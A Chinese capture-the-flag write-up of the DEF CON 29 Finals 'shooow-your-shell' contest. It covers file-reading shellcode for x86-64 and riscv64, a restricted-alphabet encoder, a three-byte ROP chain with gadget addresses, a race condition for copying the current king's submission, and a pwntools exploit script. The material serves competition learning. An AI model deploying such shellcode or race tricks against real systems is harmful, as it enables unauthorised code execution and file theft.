时间:2021年8月10日
shooow-your-shell
这题是最后一天放出来的KOH类型的题目,比哪队写的shellcode
使用的字符少,长度短,就能成为king
,然后在900s内没队伍超过你,那么会根据当时的排名来给本轮的分数。第一名10分,第二名6分,第三名3分,第四名2分,第五名1分,之后的队伍不得分。Dockerfile
文件,方便选手本地复现测试,ooo之后估计也会公布本题源码,我也把源码push到我的Github[1]上了。题目分析
-
首先检查本次的king是否为连接进来的队伍,如果是,则退出。目的为不让一个队伍在成功成为king后,连续提交shellcode。
-
以十六进制格式输入shellcode。
-
检查黑名单字节,首轮默认黑名单为0x90,其后每轮初始的黑名单为上一个king使用的shellcode中随机一个字节。
-
检查是否是第一个提交,如果是第一个提交则不需要后续检查了。
-
如果不是第一个提交,则要求当前king使用的字符你没有全都使用(这里不知道是不是出题人写了bug,按我理解,应该是shellcode的字符种类要比当前的king少,而现在这种规则,新提交的shellcode字符种类可以比当前king的多,只要少使用一个当前king使用的字符),或者字符长度比当前的king短。
-
创建一个缓存目录,把三个架构的runner,三个架构的qemu,shuffl复制一份到这个目录下,生成一串随机数,写到这个目录下,然后依次执行三个架构,命令为:
p = subprocess.Popen([
os.path.join(
tmpdir, os.path.basename(SHUFFL_PATH)), "5",
f"./qemu-{arch}-static", f"./runner-{arch}"
], cwd=tmpdir, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=1)
-
如果该命令执行的结果为之前生成的随机数,则表示shellcode执行成功,你将成为新的king。
-
会把每轮的king写入history文件中。
server.py
脚本的主要逻辑就如上所示,在上述的流程中,随机生成字符串,写入到文件中,然后要求shellcode输出相同的字符,说明需要我们写一个读文件,然后输出文件内容的shellcode。shuffl
程序,该程序的第一个参数为程序的超时时间,在python脚本里设置的值为5,表示shellcode要在5秒内执行完成,要不然会强行中断。然后使用chroot切换到缓存目录,并且使用setuid设置一个随机用户,然后执行qemu。这么做的目的就是为了做权限的限制,只允许写读文件的shellcode,能执行的程序只有当前目录下的三个qemu和三个runner,并且都没有文件的修改权限。runner
程序,发现是静态编译,不依赖libc,也不存在system
之类的函数,大概也是出题人为了防止出现读文件之外的shellcode出现而做的限制。wrapper
可知,service.py
文件的超时时间为30s。首先我们用线程A连接进该服务,这个时候已经打开了当前的history,然后暂时不进行任何操作,然后再用线程B连接进该服务,查看是否有新的king产生,如果有,则复制其shellcode,在线程A中输入。那么在线程A中,将会成为新的king,然后覆盖当前的history。history
存放在服务器本地,也就是说有16个history
文件,所以需要主办方在后台提供同步的服务,我猜测主办方的做法是,监控16个服务器上的history,当该文件发现改变,那么将同步到其他服务器上。因为在访问服务器的最开始就打开读取了history
文件,并且中间有30秒的超时时间,这个时间差就导致了竞争的漏洞。shellcode分析
1
基本的shellcode
mov rax,0x746572636573
push rax
push rsp
pop rdi
push 2
pop rax
syscall
push 40
pop rax
push 1
pop rdi
push 3
pop rsi
xor rdx,rdx
syscall
2
10字符的shellcode
def encode(inner_s):
s = '''
mov al, 1
'''
# mov ah, 8
# add rdx, rax # mov al, 1; add rdx, 0x800
# inner_s = 'Hxb8x01x01x01x01x01x01x01x01PHxb8.gm`fx01x01x01H1x04$jx02XHx89xe71xf6x99x0fx05Axbaxffxffxffx7fHx89xc6j(Xjx01_x99x0fx05'
for i, c in enumerate(bits(bitswap('xd0x90' + inner_s))):
if i != 0 and i % 8 == 0:
s += 'inc rdx'
if c:
s += '''
add byte ptr [rdx+0xfc0], al
rol al, 1
'''
else:
s += '''
rol al, 1
'''
payload = asm(s).ljust(0xfc0, 'xD0')
# payload = payload.ljust(0x1000, 'x00')
return payload
runner
程序执行shellcode
时,rdx
的值为shellcode
内存的地址,所以通过上面的指令,可以把其他shellcode指令替换掉当前内存的shellcode,从而执行其他指令。3
3种字符shellcode
15 50 c2
三个字符。0: 15 15 15 15 50 adc eax, 0x50151515
5: 15 50 50 15 50 adc eax, 0x50155050
a: 15 50 50 15 50 adc eax, 0x50155050
f: 15 50 50 15 50 adc eax, 0x50155050
14: 15 50 50 15 50 adc eax, 0x50155050
19: 15 50 50 15 50 adc eax, 0x50155050
1e: 15 50 50 15 c2 adc eax, 0xc2155050
23: 15 50 50 15 c2 adc eax, 0xc2155050
28: 15 50 50 c2 c2 adc eax, 0xc2c25050
2d: 15 50 50 c2 c2 adc eax, 0xc2c25050
32: 15 50 50 c2 c2 adc eax, 0xc2c25050
37: 15 50 c2 c2 c2 adc eax, 0xc2c2c250
3c: 15 50 c2 c2 c2 adc eax, 0xc2c2c250
41: 15 50 c2 c2 c2 adc eax, 0xc2c2c250
46: 15 50 c2 c2 c2 adc eax, 0xc2c2c250
4b: 15 50 c2 c2 c2 adc eax, 0xc2c2c250
50: 15 50 c2 c2 c2 adc eax, 0xc2c2c250
55: 15 50 c2 c2 c2 adc eax, 0xc2c2c250
5a: 50 push eax
......
61d: 15 c2 50 50 c2 adc eax, 0xc25050c2
622: 50 push eax
623: c2 ret
adc/push/ret
三个指令进行ROP调用。再进行一下解码操作,可以发现,实际上的shellcode
如下所示:0x490972; mov rsi, [rbx]; call rax
0x4c2806
0x446f3a; pop rbx; ret
0x47a850; _dl_dprintf
0x47e50a; pop eax; ret
0x1
0x413aeb; pop edi; ret
0x4191c8; mov [rdx], rax; ret
0x4c2806
0x40171f; pop rdx; ret
0x47a650; dl_sysdep_read_whole_file
0x433ae4; mov [rdi], rdx; ret
0x4c2806;
0x40ffb0; pop edi; ret
0x72636573; secr
0x40171F; pop rdx; ret
0x436613; mov [rdi], rdx; ret
0x4c280a
0x415f56; pop edi; ret
0x7465 ; etx00
0x40171F; pop rdx; ret
ret
ret
指令必须要有一个字符c20000
,因为shellcode的内存区域默认值就是00
,所以可以省略00
字符,adc eax
占一个字符15
,push eax
占一个字符50
,所以这是这种套路必须要用的三种字符。这三种字符可以组成81种数字:val = ["15", "50", "c2"]
oi = itertools.product(val, repeat=4)
ret
原本是c3
,所以可以把c2
替换成c3
,还有cb(retf)
,ca0000(retf 0x0)
等等。adc
可以换成add
或者其他,eax
可以换成ebx
或者其他,比如:4
长度为3字节的shellcode
riscv64
的shellcode,作用是执行read(2, buf, length)
系统调用,从标准错误中读取数据。p = subprocess.Popen([
os.path.join(
tmpdir, os.path.basename(SHUFFL_PATH)), "5",
f"./qemu-{arch}-static", f"./runner-{arch}"
], cwd=tmpdir, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=1)
print(disasm(unhex("69897300000000"), arch="riscv", bits=64))
0: 8969 andi a0, a0, 26
2: 00000073 ecall
runner-riscv64
中: 0x105ce <main+414> jal ra, 0x10cac <__assert_fail>
0x105d2 <main+418> lui a2, 0x1
0x105d4 <main+420> ld a1, -1056(s0)
→ 0x105da <main+426> jal ra, 0x2094e <read>
0x105de <main+430> ld a5, -1056(s0)
0x105e2 <main+434> jalr a5
0x105e4 <main+436> li a5, 0
0x105e6 <main+438> mv a3, a5
0x105e8 <main+440> auipc a5, 0x60
jalr a5
指令时,寄存器上下文:$zero: 0x0000000000000000 → 0x0000000000000000
$ra : 0x00000000000105de → 0x47819782be043783 → 0x47819782be043783
$sp : 0x00000040007ffbb0 → 0x0000000000000000 → 0x0000000000000000
$gp : 0x0000000000071030 → 0x0000000000000000 → 0x0000000000000000
$tp : 0x0000000000072710 → 0x0000000000070678 → 0x0000000000051a68 → 0x00000000000709b0 → 0x0000000000000043 → 0x0000000000000043
$t0 : 0x0000000000072000 → 0x0000000000000000 → 0x0000000000000000
$t1 : 0x2f2f2f2f2f2f2f2f → 0x2f2f2f2f2f2f2f2f
$t2 : 0x0000000000072000 → 0x0000000000000000 → 0x0000000000000000
$fp : 0x00000040007ffff0 → 0x0000000000000000 → 0x0000000000000000
$s1 : 0x0000000000010b6a → 0x0006f7b7e8221101 → 0x0006f7b7e8221101
$a0 : 0x0000000000000004 → 0x0000000000000004
$a1 : 0x0000004000801000 → 0x000000000a333231 → 0x000000000a333231
$a2 : 0x0000000000001000 → 0x0000000000001000
$a3 : 0x0000000000000022 → 0x0000000000000022
$a4 : 0x0000004000801000 → 0x000000000a333231 → 0x000000000a333231
$a5 : 0x0000004000801000 → 0x000000000a333231 → 0x000000000a333231
$a6 : 0x0000000000000000 → 0x0000000000000000
$a7 : 0x000000000000003f → 0x000000000000003f
$s2 : 0x0000000000000000 → 0x0000000000000000
$s3 : 0x0000000000000000 → 0x0000000000000000
$s4 : 0x0000000000000000 → 0x0000000000000000
$s5 : 0x0000000000000000 → 0x0000000000000000
$s6 : 0x0000000000000000 → 0x0000000000000000
$s7 : 0x0000000000000000 → 0x0000000000000000
$s8 : 0x0000000000000000 → 0x0000000000000000
$s9 : 0x0000000000000000 → 0x0000000000000000
$s10 : 0x0000000000000000 → 0x0000000000000000
$s11 : 0x0000000000000000 → 0x0000000000000000
$t3 : 0xffffffffffffffff
$t4 : 0x000000000006ead0 → 0x0000000000070678 → 0x0000000000051a68 → 0x00000000000709b0 → 0x0000000000000043 → 0x0000000000000043
$t5 : 0x0000000000000000 → 0x0000000000000000
$t6 : 0x0000000000072000 → 0x0000000000000000 → 0x0000000000000000
$a0 = 4
,为read
函数的返回值,表示标准输入的长度,$a0
的值等于$a5
,指向了存放shellcode的内存,$a2 = 0x1000
,表示读取的长度,$a7
等于0x37,对于riscv64
价格,$a7 = 0x37
,然后调用ecall
指令,表示执行read
系统调用。$a & 0x1a
,因为输入的长度为3,所以是3 & 0x1a = 2
,然后调用ecall
,执行的就是read(2, 0x0000004000801000, 0x1000)
。实际的shellcode就能通过第二次输入到内存中。$a0=2
,那么只需要输入2字节的shellcode就能让$a0
的值等于2,所以最短的shellcode为7300
#!/usr/bin/env python3
# -*- coding=utf-8 -*-
from pwn import *
import time
context.log_level = "debug"
p = remote("10.11.34.96", 9090)
# p = remote("192.168.11.4", 9090)
shellcode1 = b"7300"
# shellcode1 = b"000000ca00080091210000d4" # aarch64
shellcode2 = """
li s1, 0x746572636573
sd s1, 0(sp)
mv a1, sp
li a7, 56
li a0, -100
ecall
li a7, 71
mv a1, a0
li a0, 1
li a2, 0
li a3, 100
ecall
"""
shellcode2 = asm(shellcode2, arch="riscv", bits=64)
shellcode2 = b"sx00x00x00" + shellcode2
p.readuntil(b"shellcode:")
p.sendline(shellcode1)
pause()
p.send(shellcode2)
p.interactive()
参考
往 期 热 门
(点击图片跳转)
红队实战攻防技术(一)
使用 GDB 获取软路由的文件系统
开发 Kunyu(坤舆) 的心路旅程
觉得不错点个“在看”哦
本文始发于微信公众号(Seebug漏洞平台):DEFCON 29 FINAL shooow-your-shell总结
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论